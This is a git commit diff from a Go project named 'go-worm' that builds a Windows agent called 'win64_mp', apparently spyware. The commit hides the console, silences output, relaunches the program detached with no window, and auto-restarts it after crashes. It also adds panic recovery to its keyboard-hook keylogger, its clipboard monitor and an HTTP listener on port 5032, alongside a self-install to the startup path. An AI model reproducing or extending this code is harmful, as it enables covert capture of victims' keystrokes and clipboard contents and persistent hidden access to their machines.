refactor(core): add headless run and auto-restart
- Run without console by default - Log to file once console hidden - Recover panics in background goroutines - Restart agent after unexpected errors - Use shared instance launch helper
This commit is contained in:
+3
-3
@@ -100,16 +100,16 @@ func (a *Agent) Serve() error {
|
|||||||
return fmt.Errorf("listen %s: %w", a.addr, err)
|
return fmt.Errorf("listen %s: %w", a.addr, err)
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("win64_mp %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr)
|
helpers.Log.Printf("win64_mp %s listening on http://%s", config.Version, a.addr)
|
||||||
|
|
||||||
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
||||||
defer stop()
|
defer stop()
|
||||||
go func() {
|
helpers.Go("shutdown", func() {
|
||||||
<-ctx.Done()
|
<-ctx.Done()
|
||||||
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
_ = a.server.Shutdown(shutdownCtx)
|
_ = a.server.Shutdown(shutdownCtx)
|
||||||
}()
|
})
|
||||||
|
|
||||||
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||||
return fmt.Errorf("serve: %w", err)
|
return fmt.Errorf("serve: %w", err)
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -45,6 +46,7 @@ func Start() error {
|
|||||||
writerWG.Add(1)
|
writerWG.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
defer writerWG.Done()
|
defer writerWG.Done()
|
||||||
|
defer helpers.RecoverLog("clipmon-writer")
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
case event := <-events:
|
case event := <-events:
|
||||||
|
|||||||
@@ -12,6 +12,8 @@ import (
|
|||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -50,6 +52,7 @@ type bitmapInfoHeader struct {
|
|||||||
func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
|
||||||
go func() {
|
go func() {
|
||||||
defer close(done)
|
defer close(done)
|
||||||
|
defer helpers.RecoverLog("clipmon-poll")
|
||||||
pollClipboard(w, stop)
|
pollClipboard(w, stop)
|
||||||
}()
|
}()
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -5,12 +5,14 @@ import (
|
|||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
Version = "1.0.0"
|
Version = "1.0.0"
|
||||||
DefaultAddr = "0.0.0.0:5032"
|
DefaultAddr = "0.0.0.0:5032"
|
||||||
MutexName = "win64_mp_Mutex"
|
MutexName = "win64_mp_Mutex"
|
||||||
|
RestartDelay = 3 * time.Second
|
||||||
RequestBodyMax = 1 << 20
|
RequestBodyMax = 1 << 20
|
||||||
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
|
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
|
||||||
MaxListEntries = 10000
|
MaxListEntries = 10000
|
||||||
|
|||||||
@@ -13,11 +13,10 @@ import (
|
|||||||
|
|
||||||
var mu sync.Mutex
|
var mu sync.Mutex
|
||||||
|
|
||||||
// Recover logs a panic and re-raises after writing the crash file.
|
// Recover logs a panic without re-raising (used by optional defer wrappers).
|
||||||
func Recover() {
|
func Recover() {
|
||||||
if r := recover(); r != nil {
|
if r := recover(); r != nil {
|
||||||
_ = write("panic", fmt.Sprint(r), debug.Stack())
|
_ = write("panic", fmt.Sprint(r), debug.Stack())
|
||||||
panic(r)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -2,7 +2,6 @@ package helpers
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"log"
|
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
@@ -12,8 +11,6 @@ import (
|
|||||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||||
)
|
)
|
||||||
|
|
||||||
var Log = log.New(os.Stdout, "", log.Ldate|log.Ltime|log.Lmicroseconds)
|
|
||||||
|
|
||||||
func RecoverHandler(next http.Handler) http.Handler {
|
func RecoverHandler(next http.Handler) http.Handler {
|
||||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
defer func() {
|
defer func() {
|
||||||
|
|||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package helpers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AttachLogFile appends application logs to logs/agent.log.
|
||||||
|
func AttachLogFile() error {
|
||||||
|
dir, err := config.LogsDir()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
f, err := os.OpenFile(filepath.Join(dir, "agent.log"), os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
SetLogOutput(f)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package helpers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
logMu sync.Mutex
|
||||||
|
logW io.Writer = os.Stdout
|
||||||
|
)
|
||||||
|
|
||||||
|
var Log = log.New(&logWriter{}, "", log.Ldate|log.Ltime|log.Lmicroseconds)
|
||||||
|
|
||||||
|
type logWriter struct{}
|
||||||
|
|
||||||
|
func (logWriter) Write(p []byte) (int, error) {
|
||||||
|
logMu.Lock()
|
||||||
|
defer logMu.Unlock()
|
||||||
|
return logW.Write(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetLogOutput redirects application logging (e.g. after hiding the console).
|
||||||
|
func SetLogOutput(w io.Writer) {
|
||||||
|
logMu.Lock()
|
||||||
|
defer logMu.Unlock()
|
||||||
|
logW = w
|
||||||
|
}
|
||||||
|
|
||||||
|
// Go runs fn in a goroutine with panic recovery.
|
||||||
|
func Go(component string, fn func()) {
|
||||||
|
go func() {
|
||||||
|
defer RecoverLog(component)
|
||||||
|
fn()
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RecoverLog logs a recovered panic from a background component.
|
||||||
|
func RecoverLog(component string) {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
detail := fmt.Sprintf("%s: %v", component, r)
|
||||||
|
Log.Printf("panic %s", detail)
|
||||||
|
crashlog.RecordPanic(detail)
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-10
@@ -4,7 +4,6 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
@@ -44,15 +43,7 @@ func Ensure() error {
|
|||||||
return fmt.Errorf("update startup path: %w", err)
|
return fmt.Errorf("update startup path: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
cmd := exec.Command(target, os.Args[1:]...)
|
return relaunchInstalled(target)
|
||||||
cmd.Stdin = os.Stdin
|
|
||||||
cmd.Stdout = os.Stdout
|
|
||||||
cmd.Stderr = os.Stderr
|
|
||||||
if err := cmd.Start(); err != nil {
|
|
||||||
return fmt.Errorf("relaunch from %s: %w", target, err)
|
|
||||||
}
|
|
||||||
os.Exit(0)
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func copyExe(from, to string) error {
|
func copyExe(from, to string) error {
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package install
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
)
|
||||||
|
|
||||||
|
func relaunchInstalled(target string) error {
|
||||||
|
cmd := exec.Command(target, os.Args[1:]...)
|
||||||
|
cmd.Stdin = os.Stdin
|
||||||
|
cmd.Stdout = os.Stdout
|
||||||
|
cmd.Stderr = os.Stderr
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
return fmt.Errorf("relaunch from %s: %w", target, err)
|
||||||
|
}
|
||||||
|
os.Exit(0)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package install
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||||
|
)
|
||||||
|
|
||||||
|
func relaunchInstalled(target string) error {
|
||||||
|
if err := instance.Launch(target, os.Args[1:]); err != nil {
|
||||||
|
return fmt.Errorf("relaunch from %s: %w", target, err)
|
||||||
|
}
|
||||||
|
os.Exit(0)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package instance
|
||||||
|
|
||||||
|
func HideConsole() {}
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package instance
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||||
|
procFreeConsole = kernel32.NewProc("FreeConsole")
|
||||||
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||||||
|
procShowWindow = user32.NewProc("ShowWindow")
|
||||||
|
)
|
||||||
|
|
||||||
|
const swHide = 0
|
||||||
|
|
||||||
|
// HideConsole hides any console window and detaches from it.
|
||||||
|
func HideConsole() {
|
||||||
|
hwnd, _, _ := kernel32.NewProc("GetConsoleWindow").Call()
|
||||||
|
if hwnd != 0 {
|
||||||
|
_, _, _ = procShowWindow.Call(hwnd, swHide)
|
||||||
|
}
|
||||||
|
_, _, _ = procFreeConsole.Call()
|
||||||
|
redirectStdioToNul()
|
||||||
|
}
|
||||||
|
|
||||||
|
func redirectStdioToNul() {
|
||||||
|
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
os.Stdin = nul
|
||||||
|
os.Stdout = nul
|
||||||
|
os.Stderr = nul
|
||||||
|
}
|
||||||
+1
-33
@@ -3,11 +3,6 @@ package instance
|
|||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"strings"
|
|
||||||
"syscall"
|
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
)
|
)
|
||||||
@@ -20,32 +15,5 @@ func Detach() error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
return Launch(exe, filterArgs(os.Args[1:]))
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer nul.Close()
|
|
||||||
|
|
||||||
cmd := exec.Command(exe, stripBackground(os.Args[1:])...)
|
|
||||||
cmd.Stdin = nul
|
|
||||||
cmd.Stdout = nul
|
|
||||||
cmd.Stderr = nul
|
|
||||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
|
||||||
HideWindow: true,
|
|
||||||
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
|
|
||||||
}
|
|
||||||
return cmd.Start()
|
|
||||||
}
|
|
||||||
|
|
||||||
func stripBackground(args []string) []string {
|
|
||||||
out := make([]string, 0, len(args))
|
|
||||||
for _, arg := range args {
|
|
||||||
name := strings.TrimLeft(arg, "-/")
|
|
||||||
lower := strings.ToLower(name)
|
|
||||||
if lower == "background" || strings.HasPrefix(lower, "background=") {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
out = append(out, arg)
|
|
||||||
}
|
|
||||||
return out
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package instance
|
||||||
|
|
||||||
|
func Launch(exe string, args []string) error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func RestartSelf() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package instance
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Launch starts exe detached with no visible window or console IO.
|
||||||
|
func Launch(exe string, args []string) error {
|
||||||
|
nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer nul.Close()
|
||||||
|
|
||||||
|
cmd := exec.Command(exe, args...)
|
||||||
|
cmd.Stdin = nul
|
||||||
|
cmd.Stdout = nul
|
||||||
|
cmd.Stderr = nul
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
|
||||||
|
}
|
||||||
|
return cmd.Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
// RestartSelf launches a fresh agent process (no mutex check).
|
||||||
|
func RestartSelf() error {
|
||||||
|
exe, err := config.InstalledExe()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return Launch(exe, nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
func filterArgs(args []string) []string {
|
||||||
|
out := make([]string, 0, len(args))
|
||||||
|
for _, arg := range args {
|
||||||
|
name := strings.TrimLeft(arg, "-/")
|
||||||
|
lower := strings.ToLower(name)
|
||||||
|
switch {
|
||||||
|
case lower == "background" || strings.HasPrefix(lower, "background="):
|
||||||
|
continue
|
||||||
|
case lower == "foreground" || strings.HasPrefix(lower, "foreground="):
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, arg)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
@@ -10,6 +10,7 @@ import (
|
|||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -83,12 +84,14 @@ func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan
|
|||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
defer close(done)
|
defer close(done)
|
||||||
|
defer helpers.RecoverLog("keylog-hook")
|
||||||
_ = runHookThread(ready)
|
_ = runHookThread(ready)
|
||||||
hookEvents = nil
|
hookEvents = nil
|
||||||
hookThreadID = 0
|
hookThreadID = 0
|
||||||
}()
|
}()
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
|
defer helpers.RecoverLog("keylog-stop")
|
||||||
select {
|
select {
|
||||||
case <-ready:
|
case <-ready:
|
||||||
case <-stop:
|
case <-stop:
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -44,6 +45,7 @@ func Start() error {
|
|||||||
writerWG.Add(1)
|
writerWG.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
defer writerWG.Done()
|
defer writerWG.Done()
|
||||||
|
defer helpers.RecoverLog("keylog-writer")
|
||||||
for {
|
for {
|
||||||
select {
|
select {
|
||||||
case event := <-events:
|
case event := <-events:
|
||||||
|
|||||||
@@ -4,58 +4,102 @@
|
|||||||
//
|
//
|
||||||
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
|
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
|
||||||
//
|
//
|
||||||
// A CMD window appears on launch. Use -background to start without a window:
|
// Runs headless by default. Use -foreground for a visible console (dev only).
|
||||||
//
|
// Use -background to spawn a detached copy and exit the launcher.
|
||||||
// win64_mp.exe -background
|
|
||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"errors"
|
||||||
"flag"
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
|
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/install"
|
"tea.chunkbyte.com/kato/go-worm/lib/install"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
var errAlreadyRunning = errors.New("agent already running")
|
||||||
defer crashlog.Recover()
|
|
||||||
|
|
||||||
background := flag.Bool("background", false, "run without a console window")
|
func main() {
|
||||||
|
background := flag.Bool("background", false, "spawn detached agent and exit")
|
||||||
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
|
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
|
||||||
|
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|
||||||
if err := install.Ensure(); err != nil {
|
if err := install.Ensure(); err != nil {
|
||||||
die(err)
|
die(err, *foreground)
|
||||||
}
|
}
|
||||||
|
|
||||||
if *ensure {
|
if *ensure {
|
||||||
|
if !*foreground {
|
||||||
|
instance.HideConsole()
|
||||||
|
_ = helpers.AttachLogFile()
|
||||||
|
}
|
||||||
if err := instance.EnsureRunning(); err != nil {
|
if err := instance.EnsureRunning(); err != nil {
|
||||||
die(err)
|
die(err, *foreground)
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if *background {
|
if *background {
|
||||||
if err := instance.Detach(); err != nil {
|
if err := instance.Detach(); err != nil {
|
||||||
die(err)
|
die(err, *foreground)
|
||||||
}
|
}
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if !*foreground {
|
||||||
|
instance.HideConsole()
|
||||||
|
_ = helpers.AttachLogFile()
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
err := runAgent()
|
||||||
|
if err == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if errors.Is(err, errAlreadyRunning) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
crashlog.RecordError(err)
|
||||||
|
helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay)
|
||||||
|
time.Sleep(config.RestartDelay)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func runAgent() (err error) {
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
crashlog.RecordPanic(r)
|
||||||
|
err = fmt.Errorf("panic: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
a, err := agent.New()
|
a, err := agent.New()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
die(err)
|
if strings.Contains(err.Error(), "already running") {
|
||||||
|
return errAlreadyRunning
|
||||||
|
}
|
||||||
|
return err
|
||||||
}
|
}
|
||||||
defer a.Close()
|
defer a.Close()
|
||||||
|
|
||||||
if err := a.Serve(); err != nil {
|
if err := a.Serve(); err != nil {
|
||||||
die(err)
|
return err
|
||||||
}
|
}
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func die(err error) {
|
func die(err error, foreground bool) {
|
||||||
|
if !foreground {
|
||||||
|
instance.HideConsole()
|
||||||
|
_ = helpers.AttachLogFile()
|
||||||
|
}
|
||||||
crashlog.RecordError(err)
|
crashlog.RecordError(err)
|
||||||
helpers.Log.Fatal(err)
|
helpers.Log.Fatal(err)
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user